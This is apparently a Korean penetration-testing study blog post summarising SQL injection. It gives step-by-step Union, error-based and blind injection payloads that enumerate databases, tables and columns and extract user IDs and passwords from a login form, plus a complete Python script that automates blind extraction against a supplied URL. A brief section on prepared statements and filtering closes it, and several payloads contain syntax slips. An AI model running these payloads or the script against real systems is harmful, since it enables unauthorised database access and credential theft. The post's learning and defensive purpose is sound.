본문 바로가기

모의해킹 공부/총정리

SQL Injection 정리

SQL Injection

SQL Injection

SQL Injection은 임의의 SQL문을 삽입하는 공격으로

로그인 인증을 우회하고 데이터를 추출하고 데이터를 변조할 수 있고

또 파일 업로드를 통해 웹쉘을 삽입하여 관리자 권한을 획득 해 서버 내의 원하는 데이터를 획득 할 수 있다

※ WEB Shell : 공격자가 원격으로 웹서버의 명령을 사용할 수 있도록 올린 악성코드 -> 관리자 권한 획득 (따로 다시 정리)

 

[1] SQL Injection 유형


[1-1] Union SQL Injection

- 2개 이상의 SELECT문을 UNION 연산자를 사용해 테이블을 연결해서 원하는 데이터를 추출하는 공격

- Union SQL Injection은 질의문 결과가 화면에 보이는 곳에서 사용할 수 있다

- UNION 연산자를 사용하기 위해서는 앞에 있는 질의문의 컬럼의 개수와 타입

   뒤에 오는 질의문의 컬럼의 개수와 타입이 같아야한다

        EX) SELECT userName, Title FROM userTB UNION SELECT '1', '2'; (userName, Title은 VARCHAR 타입)

 

[1-1-1]  Union SQLI 공격 순서, 공격 틀

Step 0. 어떠한 게시판의 데이터를 추출한다고 가정!

- SELECT [컬럼N] FROM [테이블명] WHERE TITLE LIKE '%___%';

 

Step 1.  SQLI 추측하고 확인하기

 1) 게시판에 들어가서 먼저 데이터를 입력해본다

     EX) 글 제목이 sql injection 이라고 할 때 [sql], [inj], [cti] 입력 했을 때 나올 경우

 

 2) 결과에따라 추측하기

     SELECT [컬럼N] FROM [테이블명] WHERE TITLE LIKE '%___%';

 

 3) SQLI가 되는지 항상 참과 거짓인 질의문을 넣어본다 -> SQLI가 잘 되는지 확인

게시판에 입력한 값 실행된 질의문
sql%' and (1=1) and '1%' = '1 SELECT [컬럼N] FROM [테이블명]
WHERE
TITLE LIKE '%sql%' and (1=1) and '1%' = '1
%'; 
sql%' and (1=2) and '1%' = '1 SELECT  [컬럼N] FROM [테이블명]
WHERE
TITLE LIKE '%sql%' and (1=2) and '1%' = '1
%'; 

 

Step 2.  UNION을 사용하기위해 컬럼의 개수를 파악한다

 1) 컬럼의 개수를 파악하기 위해 ORDER BY [정수] #을 이용하여 파악한다

게시판에 입력한 값 실행된 질의문
sql%' ORDER BY 1# SELECT  [컬럼N] FROM [테이블명]
WHERE TITLE LIKE 
'%sql%' ORDER BY 1#%'; 

    #을 이용하여 뒤에 구문을 주석처리 시킨다. 그리고 검색결과가 나오지 않을 때까지 숫자를 1씩 증가 시키고

    결과 값이 나오지 않는 값을 찾아서 그 숫자에 -1 한 값이 컬럼의 개수라고 파악한다

    

 Step 3.  데이터 결과 위치를 알기 위해 데이터 출력 위치를 파악한다

  1) 컬럼의 개수를 파악 했지만 전체가 출력되지 않을 수 있어서 데이터 위치를 파악한다

게시판에 입력한 값 실행된 질의문
sql%' UNION SELECT '1', '2', '3', '4 SELECT [컬럼4] FROM [테이블명]
WHERE 
TITLE LIKE '%sql%' UNION SELECT '1', '2', '3', '4%'; 

  2) 파악한 컬럼의 위치를 통해 원하는 데이터를 컬럼위치에 넣는다

     

 Step 4.  DB 명을 파악한다 (원하는 테이블과 컬럼을 파악하기 위해서)

   1) SQL에서 지원하는 database() 함수를 통해 DB명을 파악할 수 있다

게시판에 입력한 값 실행된 질의문
sql%' UNION SELECT '1', 'database()', '3', '4 SELECT [컬럼N] FROM [테이블명]
WHERE 
TITLE LIKE '%sql%' UNION SELECT '1', 'database()', '3', '4%'; 

   2) DB명을 통해 Table 명과 Column을 추출한다!! (db명은 board 라고 가정)

  

information_schema를 이용하여 Table명과 Column 명을 파악한다

 

 Step 5.  Table 이름 파악하기 (원하는 데이터를 추출하기 위해서)

   1) information_schema.tables을 이용하여 DB안에 있는 테이블들을 확인한다 

게시판에 입력한 값 실행된 질의문
sql%' UNION SELECT '1', table_name, '3', '4' FROM 
information_schema.tables 
WHERE = table_schema = 'board' and '1%'=1
SELECT [컬럼N] FROM [테이블명] WHERE
TITLE LIKE
 '%sql%' UNION SELECT '1', table_name, '3', '4'
FROM information_schema.tables
WHERE = table_schema = 'board' and '1%'=1
%'; 

   2) 파악한 테이블 명을 통해 컬럼을 추출한다 (Table명은 boardTB라고 가정)

 

 Step 6.  Column 이름 파악하기 (원하는 데이터를 추출하기 위해서)

   1) information_schema.columns을 이용하여 테이블안에 있는 컬럼들을 확인한다   

게시판에 입력한 값 실행된 질의문
sql%' UNION SELECT '1', column_name, '3', '4' FROM 
information_schema.columns 
WHERE = table_name = 'boardTB' and '1%'=1
SELECT [컬럼N] FROM [테이블명] WHERE
TITLE LIKE
 '%sql%' UNION SELECT'1', column_name, '3', '4'
FROM information_schema.columns
WHERE = table_name = 'boardTB' and '1%'=1
%'; 

 

 Step 5.  데이터 추출하기

   1) 위에 얻은 정보로 원하는 데이터를 추출한다

게시판에 입력한 값 실행된 질의문
sql%' UNION SELECT 'Name', 'Email', 'Title', 'Detail'
From boardTB
SELECT [컬럼N] FROM [테이블명] WHERE
TITLE LIKE
 '%sql%' UNION SELECT 'Name', 'Email', 'Title', 'Detail'
From boardTB
%'; 

[1-2] Error Based SQL Injection

- SQL 질의문을 일부로 논리적인 에러를 통해 원하는 데이터를 추출하는 공격

- Error Based SQLI를 사용할 때는 문법에러가 나면 안되기 때문에 문법을 꼭 확인!!

- Error Based SQLI에 사용되는 함수를 이용하여 데이터를 추출한다


[1-2-1] Error Based SQLI 함수

01. updatexml(xml_target, xpath_expr, new_xml)

    - xml_target이 xpath_expr 표현식과 일치하는 부분이 있다면 new_xml로 업데이트한다

02. extractxml(xml_target, xpath_expr)

    - xml_target이 xpath_expr과 일치할 경우 xml 노드를 반환한다

03. extractvalue(xml_frag, xpath_expr )

    - xpath_expr 표현식을 지정하여 XML 문자열에서 추출한 값을 반환한다


[1-2-2] Error Based SQLI 공격 순서, 공격 틀

Step 0. 어떠한 로그인 페이지에서 데이터를 추출한다고 가정!

- SELECT [컬럼N] FROM [테이블] WHERE userID = '___'

 

Step 1. SQLI 추측하고 확인하기

 1) 회원가입을 한 후 계정을 통해 로그인 시 식별과 인증이 동시에 이뤄지는지 파악한다

 2) 지금은 식별과 인증을 분리하는 경우를 가정 한다 (ID : test, PW : 1234)

 3) SQLI 가 가능한지 파악한다  

로그인 페이지에 입력한 값 실행된 질의문
test' and (1=1) and '1'='1 SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and (1=1) and '1'='1';
test' and (1=2) and '1'='1 SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and (1=2) and '1'='1';

Step 1. DB에러가 발생하는지 파악한다

 1) DB 문법에러를 내서 화면에 출력되는지 파악한다

로그인 페이지에 입력한 값 실행된 질의문
test' SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test'';
test 1 2 34 SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test 1 2 34';

Step 2. Error Based SQLI 함수를 이용해서 논리 오류 실행

1)  Error Based SQLI 함수를 이용해서 논리 오류가 나는지 파악한다

로그인 페이지에 입력한 값 실행된 질의문
test' and updatexml(null,
concat(0x3a, (select 't')), null) and '1' ='1
SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and updatexml(null,
concat(0x3a
, (select 't')), null)
and '1' ='1
';
test' and extractxml(null,
concat(0x3a, (select 't'))) and '1' ='1
SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and extractxml(null,
concat(0x3a
, (select 't'))) 
and '1' ='1
';
test' and extractvalue(null,
concat(0x3a, (select 't'))) and '1' ='1
SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and extractvalue(null,
concat(0x3a
, (select 't'))) 
and '1' ='1
';

 

Step 3. DB 명을 파악한다 (원하는 테이블과 컬럼을 파악하기 위해서)

1)  SQL에서 지원하는 database() 함수를 통해 DB명을 파악할 수 있다 (지금 부터 updatexml() 함수만 이용)

로그인 페이지에 입력한 값 실행된 질의
test' and updatexml(null,
concat(0x3a, (select database())), null) and '1' ='1
SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and updatexml(null,
concat(0x3a
, (select database())), null) 
and '1' ='1
';

2) 파악한 DB명을 통해서 Table과 Column을 파악한다 (DB명은 userDB로 가정)

 

 information_schema를 이용하여 Table명과 Column 명을 파악한다

 

Step 4. Table 명을 파악한다 (원하는 데이터를 추출하기 위해서)

1)  information_schema.tables를 이용하여 DB안에 있는 테이블들을 확인한다 

로그인 페이지에 입력한 값 실행된 질의
test' and updatexml(null,
concat(0x3a, (select table_name from information_schema.tables where table_schema=userDB limit 0,1)), null) and '1' ='1
SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and updatexml(null,
concat(0x3a, (select table_name from information_schema.tables where table_schema=userDB limit 0,1)), null) and '1' ='1';

2) 파악한 테이블 명을 통해서 컬럼을 파악한다 (Table명은 userTB로 가정)

 

Step 5. Column 명을 파악한다 (원하는 데이터를 추출하기 위해서)

1)  information_schema.columns를 이용하여 테이블안에 있는 컬럼들을 확인한다 

로그인 페이지에 입력한 값 실행된 질의
test' and updatexml(null,
concat(0x3a, (select column_name from information_schema.columns where table_name=userTB limit 0,1)), null) and '1' ='1
SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and updatexml(null,
concat(0x3a, (select column_name from information_schema.columns where table_name=userTB limit 0,1)), null) and '1' ='1';

 

Step 6. 원하는 데이터를 추출한다

1) 위에 얻은 정보를 통해 원하는 데이터를 추출한다

로그인 페이지에 입력한 값 실행된 질의
test' and updatexml(null,
concat(0x3a, (select userId, userPw from userTB limit 0,1)),
null) and '1' ='1
SELECT [컬럼N] FROM [테이블]
WHERE userID = 'test' and updatexml(null,
concat(0x3a, (select userId, userPw from userTB limit 0,1)),
null) and '1' ='1
';

[1-3] Blind SQL Injection

- SQL 질의문의 참과 거짓 조건으로 데이터를 추출하는 공격

- SQL Injection이 가능한 모든 곳에서 사용이 가능하다

- ASCII(), SUBSTR(ing)(), limit() 함수를 이용한다

- 2인 탐색 알고리즘을 활용하여 조금더 효율적으로 사용한다

 

[1-3-1] Blind SQLI 공격 순서, 공격 틀

Step 0. 어떠한 로그인 페이지에서 데이터를 추출한다고 가정!

- SELECT [컬럼N] FROM [테이블] WHERE userID = '___';

 

Step 1. SQLI 공격이 가능한지 추측하고 파악하기

 1) 회원가입을 한 후 계정을 통해 로그인 시 식별과 인증이 동시에 이뤄지는지 파악한다

 2) 지금은 식별과 인증을 분리하는 경우를 가정 한다 (ID : test, PW : 1234)

 3) SQLI이 가능한지 참과 거짓 질의문으로 파악한다  

로그인 페이지에 입력한 값 실행된 질의
test' and (1=1) '1'='1 SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (1=1) '1'='1';
test' and (1=2) '1'='1 SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (1=2) '1'='1';

 

Step 2. 문자열과 SELECT문 사용가능한지 파악하기

1) 문자열이 사용가능한지 1=1 넣은 곳에 '문자(열)'='문자(열)'을 넣어서 확인한다

2) select 문이 사용가능한지 (select 't') = 't'를 넣어서 확인한다

로그인 페이지에 입력한 값 실행된 질의
test' and ('t'='t') and '1' = '1 SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and ('t'='t') '1'='1';
test' and ((select 't') = 't') and '1' = '1 SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and ((select 't')='t') '1'='1';

 

Step 2. Blind SQLI 공격 폼 만들기

1) ascii('a') > 0을 넣어서 사용가능한지 파악 (ascii('a') > 0 은 항상 참이다 a = 96, 0x61)

2) substring(SQL문,1,1)을 ascii() 함수 안에 넣어서 확인한다

로그인 페이지에 입력한 값 실행된 질의
test' and (ascii('a') > 0) and '1' = '1 SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii('a') > 0) and '1'='1';
test' and (ascii(substring('abc',1,1)) > 0) and '1' = '1 SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring('abc',1,1) > 0) and '1'='1';
test' and (ascii(substring(select 'abc',1,1)) > 0) and '1' = '1 SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring(select 'abc',1,1) > 0) and '1'='1';

 

Step 3. DB명 확인하기

1) database()함수를 이용하여 DB이름 추출하기

로그인 페이지에 입력한 값 실행된 질의
test' and (ascii(substring(select database(),1,1)) > 0)
and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test'
and (ascii(substring(select database(),1,1) > 0) and '1'='1
';
test' and (ascii(substring(select database(),1,1)) > 100)
and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test'
and (ascii(substring(select database(),1,1) > 100) and '1'='1
';
test' and (ascii(substring(select database(),2,1)) > 0)
and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test'
and (ascii(substring(select database(),2,1) > 0) and '1'='1
';
test' and (ascii(substring(select database(),2,1)) > 100)
and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test'
and (ascii(substring(select database()2,1) > 100) and '1'='1
';

 

Step 4. Table명 확인하기

1) information_schema.tables를 이용하여 DB안에 있는 테이블들을 확인한다 

로그인 페이지에 입력한 값 실행된 질의
test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 0,1),1,1)) > 0)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 0,1),1,1)) > 0)

and '1' = '1
';
test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 0,1),1,1)) > 100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 0,1),1,1)) > 100)

and '1' = '1
';
test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 0,1),2,1)) >100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 0,1),2,1)) > 100)

and '1' = '1
';
test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 1,1),1,1)) > 100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select table_name
from information_schema.tables
where table_schema='userDB' limit 1,1),1,1)) > 100)

and '1' = '1
';

 

Step 5. Column명 확인하기

1) information_schema.columns를 이용하여 테이블안에 있는 컬럼들을 확인한다 

로그인 페이지에 입력한 값 실행된 질의
test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 0,1),1,1)) > 0)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 0,1),1,1)) > 0)

and '1' = '1
';
test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 0,1),1,1)) > 100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 0,1),1,1)) > 100)

and '1' = '1
';
test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 0,1),2,1)) > 100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 0,1),2,1)) > 100)

and '1' = '1
';
test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 1,1),1,1)) > 100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select column_name
from information_schema.columns
where table_name='userTB' limit 1,1),1,1)) > 100)

and '1' = '1
';

 

Step 6. 원하는 데이터 추출하기

1) 위에 얻은 정보를 통해 원하는 데이터를 추출한다

로그인 페이지에 입력한 값 실행된 질의
test' and (ascii(substring((select userId, userPw
from userTB limit 1,1),0,1)) > 0)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select userId, userPw from userTB 
limit 1,1),0,1)) > 0)
and '1' = '1
';
test' and (ascii(substring((select userId, userPw
from userTB limit 1,1),0,1)) > 100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select userId, userPw from userTB 
limit 1,1),0,1)) > 100) 
and '1' = '1
';
test' and (ascii(substring((select userId, userPw
from userTB limit 1,1),1,1)) > 100)

and '1' = '1
SELECT [컬럼N] FROM [테이블] WHERE userID = 'test' and (ascii(substring((select userId, userPw from userTB 
limit 1,1),1,1)) > 100) 
and '1' = '1
';

 


[1-3-2] Blind SQL Injection Python Code

import requests

url = input("URL 입력 : \n") # 공격할 페이지 URL 입력
selId = input("ID 입력 : \n")	# 사용자 ID를 입력 받을 변수
selPw = input("PW 입력 : \n") # 사용자 PW 입력 받을 변수

data = {'UserId': '', 'UserPw' : selPw, 'Submit' : 'Login'}
# SQL문을 사용할 수 있는지 파악하는 함수
def testSql():
    checkSql =["{}' and (1=1) and '1' = '1 ".format(selId), "{}' and (1=2) and '1' = '1 ".format(selId)]
	# checkSql[0] = 항상 참, checkSql[1] = 항상 거짓 변수
    checkArr = [0, 0]
    for i in range(0,2):
        data["UserId"] = checkSql[i]
        req = requests.post(url, data=data, allow_redirects=False)
        checkArr[i] = req.status_code
     
    if 302 in checkArr:
        check = True
    else:
        check = False   
    return check

# 이진 탐색 함수
def BinarySearch(sql, index):
    strArr = ''
    start, end = 33, 126
    while start <= end:     # Binary Search(loop)
        mid = int((start+end)/2)    # Python은 나누기 기본 타입이 실수형이라 형변환
        code = AtackForm(sql,index, mid)    
        if code == 302:     # 목표값 보다 작을 경우
            start = mid + 1
        elif code == 200:   # 목표값 보다 클 경우
            end = mid - 1
    strArr += chr(start)    # 목표값을 찾았을 때 문자열로 형변환(ASCII Code)
    return strArr

# 공격할 SQL문을 받아와서 SQL문으로 공격했을 때 사이트의 Status Code를 리턴해준다
def AtackForm(sql, index,chnum):
    atForm = "{}' and (ascii(substring(({}), {}, 1)) > {}) and '1' = '1".format(selId,sql,index,chnum)
    data["UserId"] = atForm
    req = requests.post(url, data=data, allow_redirects=False)
    return req.status_code

# SQL문을 받아와서 길이를 구해주는 함수
def SqlLen(sql):
    index = 0
    while True:
        lenForm = "{}' and length(({}))={} and '1' = '1".format(selId,sql,index)
        data["UserId"] = lenForm
        req = requests.post(url, data=data, allow_redirects=False)
        if req.status_code == 302:  # sql문이 성공 했을 경우 반복문 종료 
            break
        index += 1
    return index

# Database 길이를 리턴해주는 함수
def DBLen():    
    dbLenSql = "database()"
    dbLen = SqlLen(dbLenSql)
    return dbLen

# Database 이름을 리턴해주는 함수
def DBName():
    sql = "select database()"
    size = DBLen()
    strArr = ''
    for i in range(1,size+1):
        strArr += BinarySearch(sql, i)
    return strArr

#  첫번째 Table 길이를 리턴해주는 함수
def TBLen():
    dbname = DBName()
    tbLenSql = "select table_name from information_schema.tables where table_schema='{}' limit 0,1".format(dbname)
    tbLen = SqlLen(tbLenSql)
    return tbLen

# 첫번째 Table 이름을 리턴해주는 함수
def TBName():
    dbname = DBName()
    size = TBLen()
    strArr = ''
    sql = "select table_name from information_schema.tables where table_schema = '{}' limit {},1".format(dbname, 0)
    for i in range(1,size+1):
        strArr += BinarySearch(sql, i)
    return strArr

# 첫번 째 Column의 길이를 리턴해주는 함수
def ColumnLen():
    tbname = TBName()   
    colSql = "select column_name from information_schema.columns where table_name='{}' limit 0,1".format(tbname)
    colLen = SqlLen(colSql)
    return colLen
    
# 첫번 째 Column의 이름을 리턴해주는 함수
def ColumnName():
    tbname = TBName()
    colsize = ColumnLen()
    strArr = ''
    sql = "select column_name from information_schema.columns where table_name='{}' limit {},1".format(tbname, 0)
    for i in range(1, colsize+1):
        strArr += BinarySearch(sql, i)
    return strArr

# 데이터 추출 함수
def DataExtraction():
    tbname = TBName()
    colname = ColumnName()
    strArr = ''
    sql = "select {} from {} limit 0,1".format(colname, tbname)
    size = SqlLen(sql)
    
    for i in range(1,size+1):
        strArr += BinarySearch(sql, i)
    return strArr

def main():
    check = testSql()
    if check:
        print("========== Blind SQL Injection ==========\n\n")
        print("Data Base Name : " + DBName())
        print("Table Name : " + TBName())
        print("Colmn Name : " + ColumnName())
        print("DATA Extraction : " + DataExtraction())
        print("\n\n========== Blind SQL Injection ==========")
    else :
        print("Injection Fail~!")
if __name__ == "__main__":
    main()

[2] 대응 방안

[2-1] Prepared Statement

prepared statement는 미리 컴파일을 해서 지정된 영역에 들어오는 값은  모두 문자열 처리를 해서

문법적인 의미를 가질 수 없다

재대로 Prepared Statement를 사용할 경우 사용된 곳은 SQL Injection이 불가능하다!!

하지만  ORDER BY 정렬 문과 테이블 이름, 컬럼 이름 부분은 적용을 하지 못한다 

이 부분을 해결하기 위해 화이트 기반 필터링을 한다

 

[2-2] 필터링

[2-2-1] WhiteList 기반 필터링

화이트 리스트 기반 필터링은 관리자가 안전하다고 생각하는 것들을 허용한다

예를 들어 IP를 화이트리스트로  192.168.100.0 ~ 255 허용할 경우 내부망(192.168.100.0)에서만 사용이 가능하고 외부에서는 접근할 수 없게 된다 

 

[2-2-2] BlackList 기반 필터링

블랙 리스트 기반 필터링은 화이트리스트와 반대로 관리자가 불안전하다고 생각하는 것들을 금지시킨다

예를 들어 IP를 블랙리스트로 192.168.200.0 ~ 255, 14.0.12.0 ~ 15.255를  금지 할경우 나머지 IP에서는 사용이 가능하다

블랙 리스트 기반 필터링 같은 경우에는 우회할 여지가 있다

 

그래서 필터링을 할때에는 화이트 리스트 기반 필터링이 더 귀찮을 수 있지만 더 안전하다

블래리스트 기반 필터링은 우회할 여지가 있기 때문에 만약 사용할 때 더 꼼꼼히 체크해야한다 


 

[아이콘 저작권]

디지털 아이콘 제작자: Muhammad_Usman - Flaticon

Ui 아이콘 제작자: Ilham Fitrotul Hayat - Flaticon

지원 아이콘 제작자: Freepik - Flaticon

스마트 폰 아이콘 제작자: Freepik - Flaticon

섬기는 사람 아이콘 제작자: Those Icons - Flaticon

베이스 아이콘 제작자: Freepik - Flaticon

'모의해킹 공부 > 총정리' 카테고리의 다른 글

CSRF  (0) 2023.05.22
XSS 정리  (0) 2023.05.20